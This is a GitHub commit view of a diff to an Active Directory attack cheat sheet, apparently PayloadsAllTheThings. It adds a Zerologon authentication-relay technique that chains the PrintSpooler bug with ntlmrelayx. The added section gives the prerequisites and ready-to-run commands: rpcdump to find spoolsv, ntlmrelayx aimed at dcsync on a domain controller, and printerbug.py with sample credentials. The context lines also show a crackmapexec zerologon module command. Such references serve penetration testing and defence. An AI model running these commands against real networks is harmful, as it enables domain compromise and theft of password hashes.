Merge pull request #614 from Darktortue/patch-zerologon

Added zerologon authentication relay technique
This commit is contained in:
Swissky 2023-01-10 21:11:43 +01:00 committed by GitHub
commit 1a9bfdd86f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -662,6 +662,26 @@ Exploit steps from the white paper
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
``` ```
A 2nd approach to exploit zerologon is done by relaying authentication.
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
The following prerequisites are needed:
* A domain account
* One DC running the `PrintSpooler` service
* Another DC vulnerable to zerologon
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
```powershell
# Check if one DC is running the PrintSpooler service
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
# Setup ntlmrelay in one shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
#Trigger printerbug in 2nd shell
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```
#### PrintNightmare #### PrintNightmare
> CVE-2021-1675 / CVE-2021-34527 > CVE-2021-1675 / CVE-2021-34527